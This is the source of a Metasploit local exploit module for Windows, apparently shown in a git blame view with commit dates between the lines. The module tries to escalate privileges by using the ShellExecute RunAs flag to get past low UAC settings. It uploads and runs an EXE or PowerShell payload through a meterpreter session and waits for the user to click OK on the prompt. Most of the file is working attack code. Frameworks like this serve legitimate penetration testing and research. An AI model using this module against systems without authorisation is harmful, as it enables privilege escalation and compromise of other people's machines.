metasploit-framework/modules/exploits/windows/local/ask.rb

69 lines
2.0 KiB
Ruby
Raw Normal View History

2012-10-06 04:51:44 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-10-06 04:51:44 +00:00
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Local
2013-09-05 18:41:25 +00:00
Rank = ExcellentRanking
include Post::Windows::Priv
include Post::Windows::Runas
2013-09-05 18:41:25 +00:00
2014-07-31 22:07:17 +00:00
def initialize(info = {})
super(update_info(info,
2013-09-05 18:41:25 +00:00
'Name' => 'Windows Escalate UAC Execute RunAs',
2014-07-31 22:07:17 +00:00
'Description' => %q(
2013-09-05 18:41:25 +00:00
This module will attempt to elevate execution level using
the ShellExecute undocumented RunAs flag to bypass low
UAC settings.
2014-07-31 22:07:17 +00:00
),
2013-09-05 18:41:25 +00:00
'License' => MSF_LICENSE,
'Author' => [
2014-07-31 22:07:17 +00:00
'mubix', # Original technique
'b00stfr3ak' # Added powershell option
],
2014-07-31 22:07:17 +00:00
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
2013-09-05 18:41:25 +00:00
'DefaultTarget' => 0,
'References' => [
2014-07-31 22:07:17 +00:00
['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html']
2013-09-05 18:41:25 +00:00
],
2014-07-31 22:07:17 +00:00
'DisclosureDate' => 'Jan 3 2012'
2013-09-05 18:41:25 +00:00
))
register_options([
2014-07-31 22:07:17 +00:00
OptString.new('FILENAME', [false, 'File name on disk']),
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
2013-09-05 18:41:25 +00:00
])
end
def exploit
if is_uac_enabled?
2014-07-31 22:07:17 +00:00
print_status 'UAC is Enabled, checking level...'
2014-03-22 17:57:27 +00:00
case get_uac_level
when UAC_NO_PROMPT
2014-07-31 22:07:17 +00:00
print_good 'UAC is not enabled, no prompt for the user'
else
print_status "The user will be prompted, wait for them to click 'Ok'"
2014-03-22 17:57:27 +00:00
end
else
2014-07-31 22:07:17 +00:00
print_good 'UAC is not enabled, no prompt for the user'
2013-09-05 18:41:25 +00:00
end
2014-03-22 17:57:27 +00:00
2013-09-05 18:41:25 +00:00
#
# Generate payload and random names for upload
#
2014-07-31 22:07:17 +00:00
case datastore['TECHNIQUE']
when 'EXE'
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
when 'PSH'
2014-03-22 17:57:27 +00:00
execute_psh
2013-09-05 18:41:25 +00:00
end
end
end